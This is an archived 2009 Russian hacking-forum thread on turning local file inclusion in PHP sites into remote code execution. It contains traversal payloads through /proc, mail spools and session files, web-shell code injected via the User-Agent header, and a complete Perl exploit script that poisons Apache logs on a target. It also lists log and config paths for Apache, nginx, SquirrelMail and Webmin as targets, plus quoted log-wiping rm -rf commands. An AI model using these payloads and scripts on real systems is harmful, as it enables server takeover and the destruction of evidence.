ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|

29.01.2009, 21:14
|
|
Reservists Of Antichat - Level 6
Регистрация: 16.07.2005
Сообщений: 653
Провел на форуме: 8854279
Репутация:
2727
|
|
1) юзаем логи, не зная к ним пути
a. /proc/%{PID}/fd/%{FD_ID}
%{PID} - пид
%{FD_ID} - ярлыки, (1,2,3,..,9) 2 и 7 логи апача (не факт что всегда, у меня были тоже 2 и 7)
/proc/self/status - смотрим пид
/proc/%{PID}/fd/%{FD_ID} -> /proc/3661/fd/2
index.php?inc=../../../../../proc/3661/fd/2
User-Agent: <?php passthru($_GET['cmd']) ?>
Код:
dr-x------ 2 www-data www-data 0 Jan 2 18:27 .
dr-xr-xr-x 6 www-data www-data 0 Jan 2 18:27 ..
lr-x------ 1 www-data www-data 64 Jan 2 18:27 0 -> /dev/null
l-wx------ 1 www-data www-data 64 Jan 2 18:27 1 -> pipe:[3113414]
l-wx------ 1 www-data www-data 64 Jan 2 18:27 2 -> /var/log/apache2/error.log
lrwx------ 1 www-data www-data 64 Jan 2 18:27 3 -> socket:[2714910]
lr-x------ 1 www-data www-data 64 Jan 2 18:27 4 -> pipe:[2714921]
l-wx------ 1 www-data www-data 64 Jan 2 18:27 5 -> pipe:[2714921]
l-wx------ 1 www-data www-data 64 Jan 2 18:27 6 -> /var/log/apache2/access.log
lrwx------ 1 www-data www-data 64 Jan 2 18:27 7 -> /anon_inode:[eventpoll]
lrwx------ 1 www-data www-data 64 Jan 2 18:27 8 -> socket:[2742717]
lr-x------ 1 www-data www-data 64 Jan 2 18:27 9 -> /proc/27262/fd
b. напрямую
index.php?inc=../../../../../proc/self/fd/2
User-Agent: <?php passthru($_GET['cmd']) ?>
2) переменные окружения (если неправильно понял - поправьте)
index.php?inc=../../../../../proc/self/environ
POST:
User-Agent: <?php passthru($_GET['cmd']) ?>
3) mail
PHP код:
<?
mail("ololo@localhost", "<?php passthru(\$_GET['cmd']) ?>", "fuckme");
?>
index.php?inc=../../../../../var/mail/ololo
index.php?inc=../../../../../var/spool/mail/ololo
зы.
/proc/version
/proc/self/cmdline
/proc/devices
по мотивам
Код:
http://www.ush.it/2008/08/18/lfi2rce-local-file-inclusion-to-remote-code-execution-advanced-exploitation-proc-shortcuts/
http://www.milw0rm.com/papers/260
http://itbloggen.se/cs/blogs/secteam/archive/2009/01/26/alternative-ways-to-exploit-PHP-remote-file-include-vulnerabilities.aspx
__________________
ПИУ-ПИУ...
|
|
|

29.01.2009, 23:20
|
|
Banned
Регистрация: 30.03.2007
Сообщений: 344
Провел на форуме: 5149122
Репутация:
2438
|
|
Скрипт для поиска путей логов Apache
Код:
#! /usr/bin/perl
# perl script to serach apache logs path
# Example:
# URL: http://site/index.php
# Variable: file
# Method: POST
#
# by Pepelux (pepelux[at]enye-sec[dot]org)
use LWP::UserAgent;
$ua = LWP::UserAgent->new;
my ($host, $var, $method) = @ARGV ;
unless($ARGV[2]) {
print "Usage: perl $0 <url> <vulnerable_var> <method>\n";
print "\tex: perl $0 http://site.com/index.php file GET\n";
print "\tex: perl $0 http://site.com/index.php file POST\n\n";
exit 1;
}
$ua->agent("<? passthru(\$_GET[cmd]) ?>");
$ua->timeout(10);
$host = "http://".$host if ($host !~ /^http:/);
if ($method =~ /GET/) {
$url = $host."?".$var."=../../../../proc/self/stat%00";
$req = HTTP::Request->new(GET => $url);
$req->header('Accept' => 'text/html');
}
else {
$req = HTTP::Request->new(POST => $host);
$req->content_type('application/x-www-form-urlencoded');
$req->content($var."=../../../../proc/self/stat%00");
}
$res = $ua->request($req);
if ($res->is_success) {
$result = $res->content;
$result =~ s/<[^>]*>//g;
$x = index($result, " ", 0);
$pid = substr($result, 0, $x);
print "Apache PID: ".$pid."\n";
}
if ($method =~ /GET/) {
$url = $host."?".$var."=../../../../proc/self/status%00";
$req = HTTP::Request->new(GET => $url);
$req->header('Accept' => 'text/html');
}
else {
$req = HTTP::Request->new(POST => $host);
$req->content_type('application/x-www-form-urlencoded');
$req->content($var."=../../../../proc/self/status%00");
}
$res = $ua->request($req);
if ($res->is_success) {
$result = $res->content;
$result =~ s/<[^>]*>//g;
$x = index($result, "FDSize",0)+8;
$fdsize = substr($result, $x, 3);
print "FD_SIZE: ".$fdsize."\n";
}
for ($cont = 0; $cont < $fdsize; $cont++) {
$file = "../../../../proc/".$pid."/fd/".$cont;
open FILE, $file;
while(<FILE>) {
if (($_ =~ /does not exist/) && ($_ =~ /passthru/)) {
print "FD: ".$cont."\n";
exit;
}
}
}
|
|
|

30.01.2009, 17:29
|
|
Пачка маргарина
Регистрация: 14.07.2005
Сообщений: 964
Провел на форуме: 4646474
Репутация:
1424
|
|
немного проверил то что c411k написал - mail файл доступен только юзеру чей mail, так что чтоб прочитать нужен и апач под тем же юзером, всяким www,nobody,apache запрещается по дефолту иметь ящик,
/proc/self/environ у меня пустой , не знаю как будет при php в cgi моде, лог файлы да читаются на ура только если прав хватит, проверил на других хостах - только рут может логи читать (, потом еще через файл сессии можно инклуд сделать у меня он находится в /proc/self/fd/10
|
|
|

05.02.2009, 13:41
|
|
Administrator
Регистрация: 12.10.2006
Сообщений: 466
Провел на форуме: 17234747
Репутация:
5170
|
|
Рассмотрим ситуацию, когда уникальному пользователю присваивается SID (Session IDentifier) идентификатор, без какой либо фильтрации входящего содержимого,
Независимо от его способа передачи(Cookie/Query string), на сервере будет создан "файл сеанса", при условии что session.save_handler соответствует значение files, в каталоге определенной директивой session.save_path. Главным плюсом является то, что обслуживание хостов на сервере будет производится одним процессом.
Session.save_path:
/tmp/sess_<session_id>
/php_sess/sess_<session_id>
/tmp/php-sess/sess_<session_id>
/home/%username%/tmp/sess_<session_id>
../../../../tmp/sess_7083093d3b1e818d5c86c79b0f62a374&cmd=id
|
|
|

19.02.2009, 20:44
|
|
Познающий
Регистрация: 27.12.2006
Сообщений: 37
Провел на форуме: 1253202
Репутация:
133
|
|
osx
httpd conf
/etc/osxhttpd/osxhttpd.conf
/System/Library/WebObjects/Adaptors/Apache2.2/apache.conf
osx site conf
/etc/apache2/sites/*.conf"
/etc/httpd/sites/000[1...]_[IP]_[PORT]_[SITE_NAME].conf
Пример: 0002_18.80.2.252_80_meche.mit.edu.conf
default site dir
/Library/WebServer/Documents/
Webmin
conf
/usr/local/etc/webmin/miniserv.conf
/etc/webmin/miniserv.conf
/usr/local/etc/webmin/miniserv.users
/etc/webmin/miniserv.users
log
/var/log/webmin/miniserv.log
Последний раз редактировалось f1rebl00d; 21.02.2009 в 00:03..
|
|
|

22.02.2009, 20:34
|
|
Administrator
Регистрация: 12.10.2006
Сообщений: 466
Провел на форуме: 17234747
Репутация:
5170
|
|
SquirrelMail
*log
/usr/share/squirrelmail/plugins/ squirrel_logger/setup.php
$sl_logfile = "/var/log/squirrelmail.log";
/var/log/apache2/squirrelmail.log
/var/log/apache2/squirrelmail.err.log
/var/lib/squirrelmail/prefs/squirrelmail.log
/var/log/squirrelmail.log
/var/log/mail.log
ls:
#ls /usr/local/squirrelmail/www/
Код:
AUTHORS configure doc include plugins src
ChangeLog contrib functions index.php po themes
class COPYING help INSTALL README UPGRADE
config data images locale ReleaseNotes
# ls /var/local/squirrelmail/
# ls /etc/squirrelmail/
Код:
apache.conf config_local.php default_pref index.php
config_default.php config.php filters_setup.php sqspell_config.php
*conf
/etc/squirrelmail/config/config.php
/etc/squirrelmail/config.php
/etc/httpd/conf.d/squirrelmail.conf
/usr/share/squirrelmail/config/config.php
/private/etc/squirrelmail/config/config.php
/srv/www/htdos/squirrelmail/config/config.php
/var/www/squirrelmail/config/config.php
/var/www/html/squirrelmail/config/config.php
/var/www/html/squirrelmail [Version]/config/config.php (/var/www/html/squirrelmail-1.2.9/config/config.php)
Plugin
/etc/squirrelmail/plugins
/usr/share/squirrelmail/plugins
/usr/share/squirrelmail/config/config.php
$plugins[1] = ' squirrel_logger';
$plugins[2]
...
|
|
|

24.02.2009, 20:49
|
|
Познающий
Регистрация: 18.08.2008
Сообщений: 45
Провел на форуме: 418790
Репутация:
64
|
|
насколько я понял выполнить код через /proc/self/environ получиться только если php работает как cgi, иначе /proc/self/environ будет указываеть на окружение апача. Проверить легко, если в /proc/self/cmdline что-то вроде
Код:
/usr/sbin/apache2�-k�start�
то php не cgi и код внедрить в /proc/self/environ не получиться.
|
|
|

09.03.2009, 01:34
|
|
Members of Antichat - Level 5
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме: 17621293
Репутация:
4915
|
|
Небольшое дополнение к материалу предоставленному c411k
1 На фре это работать не будет. там немного по другому всё устроено и по умолчанию proc/ не используется.
2 Через пиды искать логи бесполезно, да и не нужно, дело в том, что
proc/self/
это как раз ссылка на каталог с данными процесса, а
proc/self/fd
в свою очередь дирректория содержащая ссылки на файлы которые использует процесс. Так-что всё проще.
=============================
И так-же по дефолтным логам добывлю из своих наблюдений
На Апаче 2.2.x частенько попадаются директории
apache22/ т.е.
../../../../../../usr/local/apache22/conf/httpd.conf
../../../../../../usr/local/apache22/httpd.conf
../../../../../../usr/local/etc/apache22/conf/httpd.conf
../../../../../../usr/local/apps/apache22/conf/httpd.conf
../../../../../../etc/apache22/conf/httpd.conf
../../../../../../etc/apache22/httpd.conf
../../../../../../opt/apache22/conf/httpd.conf
и т.д.
|
|
|

14.04.2009, 05:50
|
|
Moderator - Level 7
Регистрация: 07.06.2006
Сообщений: 556
Провел на форуме: 7549607
Репутация:
2702
|
|
nginx
*.conf:
Код:
../../../../../../etc/nginx/srv.d/*.conf
../../../../../../etc/nginx/nginx.conf
../../../../../../usr/local/etc/nginx/nginx.conf
../../../../../../usr/local/nginx/conf/nginx.conf
logs:
Код:
../../../../../../var/log/nginx/access_log
../../../../../../var/log/nginx/error_log
../../../../../../var/log/nginx/access.log
../../../../../../var/log/nginx/error.log
../../../../../../var/log/nginx.access_log
../../../../../../var/log/nginx.error_log
../../../../../../logs/access_log
../../../../../../logs/error_log
../../../../../../logs/access.log
../../../../../../logs/error.log
../../../../../../var/www/<domain.com>/log/nginx.access.log
../../../../../../var/www/<domain.com>/log/nginx.error.log
../../../../../../var/www/<domain.com>/log/nginx.access_log
../../../../../../var/www/<domain.com>/log/nginx.error_log
../../../../../../var/log/nginx/<domain.com>.access.log
../../../../../../var/log/nginx/<domain.com>.error.log
../../../../../../var/log/nginx/<domain.com>_access.log
../../../../../../var/log/nginx/<domain.com>_error.log
|
|
|

20.04.2009, 18:55
|
|
Пачка маргарина
Регистрация: 14.07.2005
Сообщений: 964
Провел на форуме: 4646474
Репутация:
1424
|
|
rm -rf /var/run/utmp rm -rf /var/logs
rm -rf /var/log rm -rf /var/adm rm -rf /etc/wtmp
rm -rf /etc/utmp find / -name *.bash_history -exec
не надо так чистить, копипаст непроверенный )
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|